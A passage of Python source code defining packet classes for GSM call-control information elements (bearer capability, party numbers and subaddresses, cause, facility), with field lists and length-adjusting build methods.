ByteField("txtString36", None), ByteField("txtString37", None), ByteField("txtString38", None), ByteField("txtString39", None), ByteField("txtString40", None), ByteField("txtString41", None), ByteField("txtString42", None), ByteField("txtString43", None), ByteField("txtString44", None), ByteField("txtString45", None), ByteField("txtString46", None), ByteField("txtString47", None), ByteField("txtString48", None), ByteField("txtString49", None), ByteField("txtString50", None), ByteField("txtString51", None), ByteField("txtString52", None), ByteField("txtString53", None), ByteField("txtString54", None), ByteField("txtString55", None), ByteField("txtString56", None), ByteField("txtString57", None), ByteField("txtString58", None), ByteField("txtString59", None), ByteField("txtString60", None), ByteField("txtString61", None), ByteField("txtString62", None), ByteField("txtString63", None), ByteField("txtString64", None), ByteField("txtString65", None), ByteField("txtString66", None), ByteField("txtString67", None), ByteField("txtString68", None), ByteField("txtString69", None), ByteField("txtString70", None), ByteField("txtString71", None), ByteField("txtString72", None), ByteField("txtString73", None), ByteField("txtString74", None), ByteField("txtString75", None), ByteField("txtString76", None), ByteField("txtString77", None), ByteField("txtString78", None), ByteField("txtString79", None), ByteField("txtString80", None), ByteField("txtString81", None), ByteField("txtString82", None), ByteField("txtString83", None), ByteField("txtString84", None), ByteField("txtString85", None), ByteField("txtString86", None), ByteField("txtString87", None), ByteField("txtString88", None), ByteField("txtString89", None), ByteField("txtString90", None), ByteField("txtString91", None), ByteField("txtString92", None), ByteField("txtString93", None), ByteField("txtString94", None), ByteField("txtString95", None), ByteField("txtString96", None), ByteField("txtString97", None), ByteField("txtString98", None), ByteField("txtString99", None), ByteField("txtString100", None), ByteField("txtString101", None), ByteField("txtString102", None), ByteField("txtString103", None), ByteField("txtString104", None), ByteField("txtString105", None), ByteField("txtString106", None), ByteField("txtString107", None), ByteField("txtString108", None), ByteField("txtString109", None), ByteField("txtString110", None), ByteField("txtString111", None), ByteField("txtString112", None), ByteField("txtString113", None), ByteField("txtString114", None), ByteField("txtString115", None), ByteField("txtString116", None), ByteField("txtString117", None), ByteField("txtString118", None), ByteField("txtString119", None), ByteField("txtString120", None), ByteField("txtString121", None), ByteField("txtString122", None), ByteField("txtString123", None), ByteField("txtString124", None), ByteField("txtString125", None), ByteField("txtString126", None), ByteField("txtString127", None), ByteField("txtString128", None), ByteField("txtString129", None), ByteField("txtString130", None), ByteField("txtString131", None), ByteField("txtString132", None), ByteField("txtString133", None), ByteField("txtString134", None), ByteField("txtString135", None), ByteField("txtString136", None), ByteField("txtString137", None), ByteField("txtString138", None), ByteField("txtString139", None), ByteField("txtString140", None), ByteField("txtString141", None), ByteField("txtString142", None), ByteField("txtString143", None), ByteField("txtString144", None), ByteField("txtString145", None), ByteField("txtString146", None), ByteField("txtString147", None), ByteField("txtString148", None), ByteField("txtString149", None), ByteField("txtString150", None), ByteField("txtString151", None), ByteField("txtString152", None), ByteField("txtString153", None), ByteField("txtString154", None), ByteField("txtString155", None), ByteField("txtString156", None), ByteField("txtString157", None), ByteField("txtString158", None), ByteField("txtString159", None), ByteField("txtString160", None), ByteField("txtString161", None), ByteField("txtString162", None), ByteField("txtString163", None), ByteField("txtString164", None), ByteField("txtString165", None), ByteField("txtString166", None), ByteField("txtString167", None), ByteField("txtString168", None), ByteField("txtString169", None), ByteField("txtString170", None), ByteField("txtString171", None), ByteField("txtString172", None), ByteField("txtString173", None), ByteField("txtString174", None), ByteField("txtString175", None), ByteField("txtString176", None), ByteField("txtString177", None), ByteField("txtString178", None), ByteField("txtString179", None), ByteField("txtString180", None), ByteField("txtString181", None), ByteField("txtString182", None), ByteField("txtString183", None), ByteField("txtString184", None), ByteField("txtString185", None), ByteField("txtString186", None), ByteField("txtString187", None), ByteField("txtString188", None), ByteField("txtString189", None), ByteField("txtString190", None), ByteField("txtString191", None), ByteField("txtString192", None), ByteField("txtString193", None), ByteField("txtString194", None), ByteField("txtString195", None), ByteField("txtString196", None), ByteField("txtString197", None), ByteField("txtString198", None), ByteField("txtString199", None), ByteField("txtString200", None), ByteField("txtString201", None), ByteField("txtString202", None), ByteField("txtString203", None), ByteField("txtString204", None), ByteField("txtString205", None), ByteField("txtString206", None), ByteField("txtString207", None), ByteField("txtString208", None), ByteField("txtString209", None), ByteField("txtString210", None), ByteField("txtString211", None), ByteField("txtString212", None), ByteField("txtString213", None), ByteField("txtString214", None), ByteField("txtString215", None), ByteField("txtString216", None), ByteField("txtString217", None), ByteField("txtString218", None), ByteField("txtString219", None), ByteField("txtString220", None), ByteField("txtString221", None), ByteField("txtString222", None), ByteField("txtString223", None), ByteField("txtString224", None), ByteField("txtString225", None), ByteField("txtString226", None), ByteField("txtString227", None), ByteField("txtString228", None), ByteField("txtString229", None), ByteField("txtString230", None), ByteField("txtString231", None), ByteField("txtString232", None), ByteField("txtString233", None), ByteField("txtString234", None), ByteField("txtString235", None), ByteField("txtString236", None), ByteField("txtString237", None), ByteField("txtString238", None), ByteField("txtString239", None), ByteField("txtString240", None), ByteField("txtString241", None), ByteField("txtString242", None), ByteField("txtString243", None), ByteField("txtString244", None), ByteField("txtString245", None), ByteField("txtString246", None), ByteField("txtString247", None), ByteField("txtString248", None) ] def post_build(self, p, pay): aList = [] a = [] i = 0 for i in range(0, len(self.fields_desc)): aList.append(self.fields_desc[i].name) for i in aList: a.append(getattr(self, i)) res = adapt(2, 250, a, self.fields_desc, 1) if self.lengthNN is None: p = struct.pack(">B", res[1]) + p[1:] if res[0] is not 0: p = p[:-res[0]] return p + pay class TimeZone(Packet): """Time Zone Section 10.5.3.8""" name = "Time Zone" fields_desc = [ ByteField("timeZone", 0x0), ] class TimeZoneAndTime(Packet): """Time Zone and Time Section 10.5.3.9""" name = "Time Zone and Time" fields_desc = [ ByteField("year", 0x0), ByteField("month", 0x0), ByteField("day", 0x0), ByteField("hour", 0x0), ByteField("minute", 0x0), ByteField("second", 0x0), ByteField("timeZone", 0x0) ] class CtsPermission(Packet): """CTS permission Section 10.5.3.10""" name = "Cts Permission" fields_desc = [ ] class LsaIdentifier(Packet): """LSA Identifier Section 10.5.3.11""" name = "Lsa Identifier" fields_desc = [ ByteField("lsaID", 0x0), ByteField("lsaID1", 0x0), ByteField("lsaID2", 0x0) ] # # 10.5.4 Call control information elements # #10.5.4.1 Extensions of codesets # This is only text and no packet class LockingShiftProcedure(Packet): """Locking shift procedure Section 10.5.4.2""" name = "Locking Shift Procedure" fields_desc = [ BitField("lockShift", 0x0, 1), BitField("codesetId", 0x0, 3) ] class NonLockingShiftProcedure(Packet): """Non-locking shift procedure Section 10.5.4.3""" name = "Non-locking Shift Procedure" fields_desc = [ BitField("nonLockShift", 0x1, 1), BitField("codesetId", 0x0, 3) ] class AuxiliaryStates(Packet): """Auxiliary states Section 10.5.4.4""" name = "Auxiliary States" fields_desc = [ XByteField("lengthAS", 0x3), BitField("ext", 0x1, 1), BitField("spare", 0x0, 3), BitField("holdState", 0x0, 2), BitField("mptyState", 0x0, 2) ] # len 3 to 15 class BearerCapability(Packet): """Bearer capability Section 10.5.4.5""" name = "Bearer Capability" fields_desc = [ XByteField("lengthBC", None), BitField("ext0", 0x1, 1), BitField("radioChReq", 0x1, 2), BitField("codingStd", 0x0, 1), BitField("transMode", 0x0, 1), BitField("infoTransCa", 0x0, 3), # optional ConditionalField(BitField("ext1", 0x1, 1), lambda pkt: pkt.ext0 == 0), ConditionalField(BitField("coding", None, 1), lambda pkt: pkt.ext0 == 0), ConditionalField(BitField("spare", None, 2), lambda pkt: pkt.ext0 == 0), ConditionalField(BitField("speechVers", 0x0, 4), lambda pkt: pkt.ext0 == 0), ConditionalField(BitField("ext2", 0x1, 1), lambda pkt: pkt.ext1 == 0), ConditionalField(BitField("compress", None, 1), lambda pkt: pkt.ext1 == 0), ConditionalField(BitField("structure", None, 2), lambda pkt: pkt.ext1 == 0), ConditionalField(BitField("dupMode", None, 1), lambda pkt: pkt.ext1 == 0), ConditionalField(BitField("config", None, 1), lambda pkt: pkt.ext1 == 0), ConditionalField(BitField("nirr", None, 1), lambda pkt: pkt.ext1 == 0), ConditionalField(BitField("establi", 0x0, 1), lambda pkt: pkt.ext1 == 0), BitField("ext3", None, 1), BitField("accessId", None, 2), BitField("rateAda", None, 2), BitField("signaling", None, 3), ConditionalField(BitField("ext4", None, 1), lambda pkt: pkt.ext3 == 0), ConditionalField(BitField("otherITC", None, 2), lambda pkt: pkt.ext3 == 0), ConditionalField(BitField("otherRate", None, 2), lambda pkt: pkt.ext3 == 0), ConditionalField(BitField("spare1", 0x0, 3), lambda pkt: pkt.ext3 == 0), ConditionalField(BitField("ext5", 0x1, 1), lambda pkt: pkt.ext4 == 0), ConditionalField(BitField("hdr", None, 1), lambda pkt: pkt.ext4 == 0), ConditionalField(BitField("multiFr", None, 1), lambda pkt: pkt.ext4 == 0), ConditionalField(BitField("mode", None, 1), lambda pkt: pkt.ext4 == 0), ConditionalField(BitField("lli", None, 1), lambda pkt: pkt.ext4 == 0), ConditionalField(BitField("assig", None, 1), lambda pkt: pkt.ext4 == 0), ConditionalField(BitField("inbNeg", None, 1), lambda pkt: pkt.ext4 == 0), ConditionalField(BitField("spare2", 0x0, 1), lambda pkt: pkt.ext4 == 0), BitField("ext6", None, 1), BitField("layer1Id", None, 2), BitField("userInf", None, 4), BitField("sync", None, 1), ConditionalField(BitField("ext7", None, 1), lambda pkt: pkt.ext6 == 0), ConditionalField(BitField("stopBit", None, 1), lambda pkt: pkt.ext6 == 0), ConditionalField(BitField("negoc", None, 1), lambda pkt: pkt.ext6 == 0), ConditionalField(BitField("nbDataBit", None, 1), lambda pkt: pkt.ext6 == 0), ConditionalField(BitField("userRate", None, 4), lambda pkt: pkt.ext6 == 0), ConditionalField(BitField("ext8", None, 1), lambda pkt: pkt.ext7 == 0), ConditionalField(BitField("interRate", None, 2), lambda pkt: pkt.ext7 == 0), ConditionalField(BitField("nicTX", None, 1), lambda pkt: pkt.ext7 == 0), ConditionalField(BitField("nicRX", None, 1), lambda pkt: pkt.ext7 == 0), ConditionalField(BitField("parity", None, 3), lambda pkt: pkt.ext7 == 0), ConditionalField(BitField("ext9", None, 1), lambda pkt: pkt.ext8 == 0), ConditionalField(BitField("connEle", None, 2), lambda pkt: pkt.ext8 == 0), ConditionalField(BitField("modemType", None, 5), lambda pkt: pkt.ext8 == 0), ConditionalField(BitField("ext10", None, 1), lambda pkt: pkt.ext9 == 0), ConditionalField(BitField("otherModemType", None, 2), lambda pkt: pkt.ext9 == 0), ConditionalField(BitField("netUserRate", None, 5), lambda pkt: pkt.ext9 == 0), ConditionalField(BitField("ext11", None, 1), lambda pkt: pkt.ext10 == 0), ConditionalField(BitField("chanCoding", None, 4), lambda pkt: pkt.ext10 == 0), ConditionalField(BitField("maxTrafficChan", None, 3), lambda pkt: pkt.ext10 == 0), ConditionalField(BitField("ext12", None, 1), lambda pkt: pkt.ext11 == 0), ConditionalField(BitField("uimi", None, 3), lambda pkt: pkt.ext11 == 0), ConditionalField(BitField("airInterfaceUserRate", None, 4), lambda pkt: pkt.ext11 == 0), ConditionalField(BitField("ext13", 0x1, 1), lambda pkt: pkt.ext12 == 0), ConditionalField(BitField("layer2Ch", None, 2), lambda pkt: pkt.ext12 == 0), ConditionalField(BitField("userInfoL2", 0x0, 5), lambda pkt: pkt.ext12 == 0) ] def post_build(self, p, pay): aList = [] a = [] i = 0 for i in range(0, len(self.fields_desc)): aList.append(self.fields_desc[i].name) for i in aList: a.append(getattr(self, i)) res = adapt(2, 15, a, self.fields_desc, 1) if res[0] is not 0: p = p[:-res[0]] if self.lengthBC is None: p = struct.pack(">B", len(p)-1) + p[1:] return p + pay class CallControlCapabilities(Packet): """Call Control Capabilities Section 10.5.4.5a""" name = "Call Control Capabilities" fields_desc = [ XByteField("lengthCCC", 0x3), BitField("spare", 0x0, 6), BitField("pcp", 0x0, 1), BitField("dtmf", 0x0, 1) ] class CallState(Packet): """Call State Section 10.5.4.6""" name = "Call State" fields_desc = [ BitField("codingStd", 0x0, 2), BitField("stateValue", 0x0, 6) ] # len 3 to 43 class CalledPartyBcdNumber(Packet): """Called party BCD number Section 10.5.4.7""" name = "Called Party BCD Number" fields_desc = [ XByteField("lengthCPBN", None), BitField("ext", 0x1, 1), BitField("typeNb", 0x0, 3), BitField("nbPlanId", 0x0, 4), # optional BitField("nbDigit2", None, 4), BitField("nbDigit1", None, 4), BitField("nbDigit4", None, 4), BitField("nbDigit3", None, 4), BitField("nbDigit6", None, 4), BitField("nbDigit5", None, 4), BitField("nbDigit8", None, 4), BitField("nbDigit7", None, 4), BitField("nbDigit10", None, 4), BitField("nbDigit9", None, 4), BitField("nbDigit12", None, 4), BitField("nbDigit11", None, 4), BitField("nbDigit14", None, 4), BitField("nbDigit13", None, 4), BitField("nbDigit16", None, 4), BitField("nbDigit15", None, 4), BitField("nbDigit18", None, 4), BitField("nbDigit17", None, 4), BitField("nbDigit20", None, 4), BitField("nbDigit19", None, 4), BitField("nbDigit22", None, 4), BitField("nbDigit21", None, 4), BitField("nbDigit24", None, 4), BitField("nbDigit23", None, 4), BitField("nbDigit26", None, 4), BitField("nbDigit25", None, 4), BitField("nbDigit28", None, 4), BitField("nbDigit27", None, 4), BitField("nbDigit30", None, 4), BitField("nbDigit29", None, 4), BitField("nbDigit32", None, 4), BitField("nbDigit31", None, 4), BitField("nbDigit34", None, 4), BitField("nbDigit33", None, 4), BitField("nbDigit36", None, 4), BitField("nbDigit35", None, 4), BitField("nbDigit38", None, 4), BitField("nbDigit37", None, 4), BitField("nbDigit40", None, 4), BitField("nbDigit39", None, 4), # ^^^^^^ 20 first optional bytes ^^^^^^^^^^^^^^^ BitField("nbDigit42", None, 4), BitField("nbDigit41", None, 4), BitField("nbDigit44", None, 4), BitField("nbDigit43", None, 4), BitField("nbDigit46", None, 4), BitField("nbDigit45", None, 4), BitField("nbDigit48", None, 4), BitField("nbDigit47", None, 4), BitField("nbDigit50", None, 4), BitField("nbDigit49", None, 4), BitField("nbDigit52", None, 4), BitField("nbDigit51", None, 4), BitField("nbDigit54", None, 4), BitField("nbDigit53", None, 4), BitField("nbDigit56", None, 4), BitField("nbDigit55", None, 4), BitField("nbDigit58", None, 4), BitField("nbDigit57", None, 4), BitField("nbDigit60", None, 4), BitField("nbDigit59", None, 4), BitField("nbDigit62", None, 4), BitField("nbDigit61", None, 4), BitField("nbDigit64", None, 4), BitField("nbDigit63", None, 4), BitField("nbDigit66", None, 4), BitField("nbDigit65", None, 4), BitField("nbDigit68", None, 4), BitField("nbDigit67", None, 4), BitField("nbDigit70", None, 4), BitField("nbDigit69", None, 4), BitField("nbDigit72", None, 4), BitField("nbDigit71", None, 4), BitField("nbDigit74", None, 4), BitField("nbDigit73", None, 4), BitField("nbDigit76", None, 4), BitField("nbDigit75", None, 4), BitField("nbDigit78", None, 4), BitField("nbDigit77", None, 4), BitField("nbDigit80", None, 4), BitField("nbDigit79", None, 4), ] def post_build(self, p, pay): aList = [] a = [] i = 0 for i in range(0, len(self.fields_desc)): aList.append(self.fields_desc[i].name) for i in aList: a.append(getattr(self, i)) res = adapt(2, 42, a, self.fields_desc, 1) if self.lengthCPBN is None: p = struct.pack(">B", res[1]) + p[1:] if res[0] is not 0: p = p[:-res[0]] return p + pay # len 2 to 23 class CalledPartySubaddress(Packet): """Called party subaddress Section 10.5.4.8""" name = "Called Party Subaddress" fields_desc = [ XByteField("lengthCPS", None), # optional BitField("ext", None, 1), BitField("subAddr", None, 3), BitField("oddEven", None, 1), BitField("spare", None, 3), ByteField("subInfo0", None), ByteField("subInfo1", None), ByteField("subInfo2", None), ByteField("subInfo3", None), ByteField("subInfo4", None), ByteField("subInfo5", None), ByteField("subInfo6", None), ByteField("subInfo7", None), ByteField("subInfo8", None), ByteField("subInfo9", None), ByteField("subInfo10", None), ByteField("subInfo11", None), ByteField("subInfo12", None), ByteField("subInfo13", None), ByteField("subInfo14", None), ByteField("subInfo15", None), ByteField("subInfo16", None), ByteField("subInfo17", None), ByteField("subInfo18", None), ByteField("subInfo19", None) ] def post_build(self, p, pay): aList = [] a = [] i = 0 for i in range(0, len(self.fields_desc)): aList.append(self.fields_desc[i].name) for i in aList: a.append(getattr(self, i)) res = adapt(2, 23, a, self.fields_desc, 1) if self.lengthCPS is None: p = struct.pack(">B", res[1]) + p[1:] if res[0] is not 0: p = p[:-res[0]] return p + pay # len 3 to 14 class CallingPartyBcdNumber(Packet): """Called party subaddress Section 10.5.4.9""" name = "Called Party Subaddress" fields_desc = [ XByteField("lengthCPBN", None), BitField("ext", 0x1, 1), BitField("typeNb", 0x0, 3), BitField("nbPlanId", 0x0, 4), # optional ConditionalField(BitField("ext1", 0x1, 1), lambda pkt: pkt.ext == 0), ConditionalField(BitField("presId", None, 2), lambda pkt: pkt.ext == 0), ConditionalField(BitField("spare", None, 3), lambda pkt: pkt.ext == 0), ConditionalField(BitField("screenId", 0x0, 2), lambda pkt: pkt.ext == 0), BitField("nbDigit2", None, 4), BitField("nbDigit1", None, 4), BitField("nbDigit4", None, 4), BitField("nbDigit3", None, 4), BitField("nbDigit6", None, 4), BitField("nbDigit5", None, 4), BitField("nbDigit8", None, 4), BitField("nbDigit7", None, 4), BitField("nbDigit10", None, 4), BitField("nbDigit9", None, 4), BitField("nbDigit12", None, 4), BitField("nbDigit11", None, 4), BitField("nbDigit14", None, 4), BitField("nbDigit13", None, 4), BitField("nbDigit16", None, 4), BitField("nbDigit15", None, 4), BitField("nbDigit18", None, 4), BitField("nbDigit17", None, 4), BitField("nbDigit20", None, 4), BitField("nbDigit19", None, 4), ] def post_build(self, p, pay): aList = [] a = [] i = 0 for i in range(0, len(self.fields_desc)): aList.append(self.fields_desc[i].name) for i in aList: a.append(getattr(self, i)) res = adapt(2, 13, a, self.fields_desc, 1) if res[0] is not 0: p = p[:-res[0]] if self.lengthCPBN is None: p = struct.pack(">B", len(p)-1) + p[1:] return p + pay # len 2 to 23 class CallingPartySubaddress(Packet): """Calling party subaddress Section 10.5.4.10""" name = "Calling Party Subaddress" fields_desc = [ XByteField("lengthCPS", None), # optional BitField("ext1", None, 1), BitField("typeAddr", None, 3), BitField("oddEven", None, 1), BitField("spare", None, 3), ByteField("subInfo0", None), ByteField("subInfo1", None), ByteField("subInfo2", None), ByteField("subInfo3", None), ByteField("subInfo4", None), ByteField("subInfo5", None), ByteField("subInfo6", None), ByteField("subInfo7", None), ByteField("subInfo8", None), ByteField("subInfo9", None), ByteField("subInfo10", None), ByteField("subInfo11", None), ByteField("subInfo12", None), ByteField("subInfo13", None), ByteField("subInfo14", None), ByteField("subInfo15", None), ByteField("subInfo16", None), ByteField("subInfo17", None), ByteField("subInfo18", None), ByteField("subInfo19", None) ] def post_build(self, p, pay): aList = [] a = [] i = 0 for i in range(0, len(self.fields_desc)): aList.append(self.fields_desc[i].name) for i in aList: a.append(getattr(self, i)) res = adapt(1, 22, a, self.fields_desc, 1) if self.lengthCPS is None: p = struct.pack(">B", res[1]) + p[1:] if res[0] is not 0: p = p[:-res[0]] return p + pay # len 4 to 32 class Cause(Packet): """Cause Section 10.5.4.11""" name = "Cause" fields_desc = [ XByteField("lengthC", None), BitField("ext", 0x1, 1), BitField("codingStd", 0x0, 2), BitField("spare", 0x0, 1), BitField("location", 0x0, 4), ConditionalField(BitField("ext1", 0x1, 1), lambda pkt: pkt.ext == 0), ConditionalField(BitField("recommendation", 0x1, 7), lambda pkt: pkt.ext == 0), # optional BitField("ext2", None, 1), BitField("causeValue", None, 7), ByteField("diagnositc0", None), ByteField("diagnositc1", None), ByteField("diagnositc2", None), ByteField("diagnositc3", None), ByteField("diagnositc4", None), ByteField("diagnositc5", None), ByteField("diagnositc6", None), ByteField("diagnositc7", None), ByteField("diagnositc8", None), ByteField("diagnositc9", None), ByteField("diagnositc10", None), ByteField("diagnositc11", None), ByteField("diagnositc12", None), ByteField("diagnositc13", None), ByteField("diagnositc14", None), ByteField("diagnositc15", None), ByteField("diagnositc16", None), ByteField("diagnositc17", None), ByteField("diagnositc18", None), ByteField("diagnositc19", None), ByteField("diagnositc20", None), ByteField("diagnositc21", None), ByteField("diagnositc22", None), ByteField("diagnositc23", None), ByteField("diagnositc24", None), ByteField("diagnositc25", None), ByteField("diagnositc26", None), ] def post_build(self, p, pay): aList = [] a = [] i = 0 for i in range(0, len(self.fields_desc)): aList.append(self.fields_desc[i].name) for i in aList: a.append(getattr(self, i)) res = adapt(3, 31, a, self.fields_desc, 1) if res[0] is not 0: p = p[:-res[0]] if self.lengthC is None: p = struct.pack(">B", len(p)-1) + p[1:] return p + pay class ClirSuppression(Packet): """CLIR suppression Section 10.5.4.11a""" name = "Clir Suppression" fields_desc = [ ] class ClirInvocation(Packet): """CLIR invocation Section 10.5.4.11b""" name = "Clir Invocation" fields_desc = [ ] class CongestionLevel(Packet): """Congestion level Section 10.5.4.12""" name = "Congestion Level" fields_desc = [ BitField("notDef", 0x0, 4) # not defined by the std ] # len 3 to 14 class ConnectedNumber(Packet): """Connected number Section 10.5.4.13""" name = "Connected Number" fields_desc = [ XByteField("lengthCN", None), BitField("ext", 0x1, 1), BitField("typeNb", 0x0, 3), BitField("typePlanId", 0x0, 4), # optional ConditionalField(BitField("ext1", 0x1, 1), lambda pkt: pkt.ext == 0), ConditionalField(BitField("presId", None, 2), lambda pkt: pkt.ext == 0), ConditionalField(BitField("spare", None, 3), lambda pkt: pkt.ext == 0), ConditionalField(BitField("screenId", None, 2), lambda pkt: pkt.ext == 0), BitField("nbDigit2", None, 4), BitField("nbDigit1", None, 4), BitField("nbDigit4", None, 4), BitField("nbDigit3", None, 4), BitField("nbDigit6", None, 4), BitField("nbDigit5", None, 4), BitField("nbDigit8", None, 4), BitField("nbDigit7", None, 4), BitField("nbDigit10", None, 4), BitField("nbDigit9", None, 4), BitField("nbDigit12", None, 4), BitField("nbDigit11", None, 4), BitField("nbDigit14", None, 4), BitField("nbDigit13", None, 4), BitField("nbDigit16", None, 4), BitField("nbDigit15", None, 4), BitField("nbDigit18", None, 4), BitField("nbDigit17", None, 4), BitField("nbDigit20", None, 4), BitField("nbDigit19", None, 4) ] def post_build(self, p, pay): aList = [] a = [] i = 0 for i in range(0, len(self.fields_desc)): aList.append(self.fields_desc[i].name) for i in aList: a.append(getattr(self, i)) res = adapt(2, 13, a, self.fields_desc, 1) if res[0] is not 0: p = p[:-res[0]] if self.lengthCN is None: p = struct.pack(">B", len(p)-1) + p[1:] return p + pay # len 2 to 23 class ConnectedSubaddress(Packet): """Connected subaddress Section 10.5.4.14""" name = "Connected Subaddress" fields_desc = [ XByteField("lengthCS", None), # optional BitField("ext", None, 1), BitField("typeOfSub", None, 3), BitField("oddEven", None, 1), BitField("spare", None, 3), ByteField("subInfo0", None), ByteField("subInfo1", None), ByteField("subInfo2", None), ByteField("subInfo3", None), ByteField("subInfo4", None), ByteField("subInfo5", None), ByteField("subInfo6", None), ByteField("subInfo7", None), ByteField("subInfo8", None), ByteField("subInfo9", None), ByteField("subInfo10", None), ByteField("subInfo11", None), ByteField("subInfo12", None), ByteField("subInfo13", None), ByteField("subInfo14", None), ByteField("subInfo15", None), ByteField("subInfo16", None), ByteField("subInfo17", None), ByteField("subInfo18", None), ByteField("subInfo19", None) ] def post_build(self, p, pay): aList = [] a = [] i = 0 for i in range(0, len(self.fields_desc)): aList.append(self.fields_desc[i].name) for i in aList: a.append(getattr(self, i)) res = adapt(1, 22, a, self.fields_desc, 1) if self.lengthCS is None: p = struct.pack(">B", res[1]) + p[1:] if res[0] is not 0: p = p[:-res[0]] return p + pay # len 2 to L3 (251) (done) class Facility(Packet): """Facility Section 10.5.4.15""" name = "Facility" fields_desc = [ XByteField("lengthF", None), # optional ByteField("facilityInfo1", None), ByteField("facilityInfo2", None), ByteField("facilityInfo3", None), ByteField("facilityInfo4", None), ByteField("facilityInfo5", None), ByteField("facilityInfo6", None), ByteField("facilityInfo7", None), ByteField("facilityInfo8", None), ByteField("facilityInfo9", None), ByteField("facilityInfo10", None), ByteField("facilityInfo11", None), ByteField("facilityInfo12", None), ByteField("facilityInfo13", None), ByteField("facilityInfo14", None), ByteField("facilityInfo15", None), ByteField("facilityInfo16", None), ByteField("facilityInfo17", None), ByteField("facilityInfo18", None), ByteField("facilityInfo19", None), ByteField("facilityInfo20", None), ByteField("facilityInfo21", None), ByteField("facilityInfo22", None), ByteField("facilityInfo23", None), ByteField("facilityInfo24", None), ByteField("facilityInfo25", None), ByteField("facilityInfo26", None), ByteField("facilityInfo27", None), ByteField("facilityInfo28", None), ByteField("facilityInfo29", None), ByteField("facilityInfo30", None), ByteField("facilityInfo31", None), ByteField("facilityInfo32", None), ByteField("facilityInfo33", None), ByteField("facilityInfo34", None), ByteField("facilityInfo35", None), ByteField("facilityInfo36", None), ByteField("facilityInfo37", None), ByteField("facilityInfo38", None), ByteField("facilityInfo39", None), ByteField("facilityInfo40", None), ByteField("facilityInfo41", None), ByteField("facilityInfo42", None), ByteField("facilityInfo43", None), ByteField("facilityInfo44", None), ByteField("facilityInfo45", None), ByteField("facilityInfo46", None), ByteField("facilityInfo47", None), ByteField("facilityInfo48", None), ByteField("facilityInfo49", None), ByteField("facilityInfo50", None), ByteField("facilityInfo51", None), ByteField("facilityInfo52", None), ByteField("facilityInfo53", None), ByteField("facilityInfo54", None), ByteField("facilityInfo55", None), ByteField("facilityInfo56", None), ByteField("facilityInfo57", None), ByteField("facilityInfo58", None), ByteField("facilityInfo59", None), ByteField("facilityInfo60", None), ByteField("facilityInfo61", None), ByteField("facilityInfo62", None), ByteField("facilityInfo63", None), ByteField("facilityInfo64", None), ByteField("facilityInfo65", None), ByteField("facilityInfo66", None), ByteField("facilityInfo67", None), ByteField("facilityInfo68", None), ByteField("facilityInfo69", None), ByteField("facilityInfo70", None), ByteField("facilityInfo71", None), ByteField("facilityInfo72", None), ByteField("facilityInfo73", None), ByteField("facilityInfo74", None), ByteField("facilityInfo75", None), ByteField("facilityInfo76", None), ByteField("facilityInfo77", None), ByteField("facilityInfo78", None), ByteField("facilityInfo79", None), ByteField("facilityInfo80", None), ByteField("facilityInfo81", None), ByteField("facilityInfo82", None), ByteField("facilityInfo83", None), ByteField("facilityInfo84", None), ByteField("facilityInfo85", None), ByteField("facilityInfo86", None), ByteField("facilityInfo87", None), ByteField("facilityInfo88", None), ByteField("facilityInfo89", None), ByteField("facilityInfo90", None), ByteField("facilityInfo91", None), ByteField("facilityInfo92", None), ByteField("facilityInfo93", None), ByteField("facilityInfo94", None), ByteField("facilityInfo95", None), ByteField("facilityInfo96", None), ByteField("facilityInfo97", None), ByteField("facilityInfo98", None), ByteField("facilityInfo99", None), ByteField("facilityInfo100", None), ByteField("facilityInfo101", None), ByteField("facilityInfo102", None), ByteField("facilityInfo103", None), ByteField("facilityInfo104", None), ByteField("facilityInfo105", None), ByteField("facilityInfo106", None), ByteField("facilityInfo107", None), ByteField("facilityInfo108", None), ByteField("facilityInfo109", None), ByteField("facilityInfo110", None), ByteField("facilityInfo111", None), ByteField("facilityInfo112", None), ByteField("facilityInfo113", None), ByteField("facilityInfo114", None), ByteField("facilityInfo115", None), ByteField("facilityInfo116", None), ByteField("facilityInfo117", None), ByteField("facilityInfo118", None), ByteField("facilityInfo119", None), ByteField("facilityInfo120", None), ByteField("facilityInfo121", None), ByteField("facilityInfo122", None), ByteField("facilityInfo123", None), ByteField("facilityInfo124", None), ByteField("facilityInfo125", None), ByteField("facilityInfo126", None), ByteField("facilityInfo127", None), ByteField("facilityInfo128", None), ByteField("facilityInfo129", None), ByteField("facilityInfo130", None), ByteField("facilityInfo131", None), ByteField("facilityInfo132", None), ByteField("facilityInfo133", None), ByteField("facilityInfo134", None), ByteField("facilityInfo135", None), ByteField("facilityInfo136", None), ByteField("facilityInfo137", None), ByteField("facilityInfo138", None), ByteField("facilityInfo139", None), ByteField("facilityInfo140", None), ByteField("facilityInfo141", None), ByteField("facilityInfo142", None), ByteField("facilityInfo143", None), ByteField("facilityInfo144", None), ByteField("facilityInfo145", None), ByteField("facilityInfo146", None), ByteField("facilityInfo147", None), ByteField("facilityInfo148", None), ByteField("facilityInfo149", None), ByteField("facilityInfo150", None), ByteField("facilityInfo151", None), ByteField("facilityInfo152", None), ByteField("facilityInfo153", None), ByteField("facilityInfo154", None), ByteField("facilityInfo155", None), ByteField("facilityInfo156", None), ByteField("facilityInfo157", None), ByteField("facilityInfo158", None), ByteField("facilityInfo159", None), ByteField("facilityInfo160", None), ByteField("facilityInfo161", None), ByteField("facilityInfo162", None), ByteField("facilityInfo163", None), ByteField("facilityInfo164", None), ByteField("facilityInfo165", None), ByteField("facilityInfo166", None), ByteField("facilityInfo167", None), ByteField("facilityInfo168", None), ByteField("facilityInfo169", None), ByteField("facilityInfo170", None), ByteField("facilityInfo171", None), ByteField("facilityInfo172", None), ByteField("facilityInfo173", None), ByteField("facilityInfo174", None), ByteField("facilityInfo175", None), ByteField("facilityInfo176", None), ByteField("facilityInfo177", None), ByteField("facilityInfo178", None), ByteField("facilityInfo179", None), ByteField("facilityInfo180", None), ByteField("facilityInfo181", None), ByteField("facilityInfo182", None), ByteField("facilityInfo183", None), ByteField("facilityInfo184", None), ByteField("facilityInfo185", None), ByteField("facilityInfo186", None), ByteField("facilityInfo187", None), ByteField("facilityInfo188", None), ByteField("facilityInfo189", None), ByteField("facilityInfo190", None), ByteField("facilityInfo191", None), ByteField("facilityInfo192", None), ByteField("facilityInfo193", None), ByteField("facilityInfo194", None), ByteField("facilityInfo195", None), ByteField("facilityInfo196", None), ByteField("facilityInfo197", None), ByteField("facilityInfo198", None), ByteField("facilityInfo199", None), ByteField("facilityInfo200", None), ByteField("facilityInfo201", None), ByteField("facilityInfo202", None), ByteField("facilityInfo203", None), ByteField("facilityInfo204", None), ByteField("facilityInfo205", None), ByteField("facilityInfo206", None), ByteField("facilityInfo207", None), 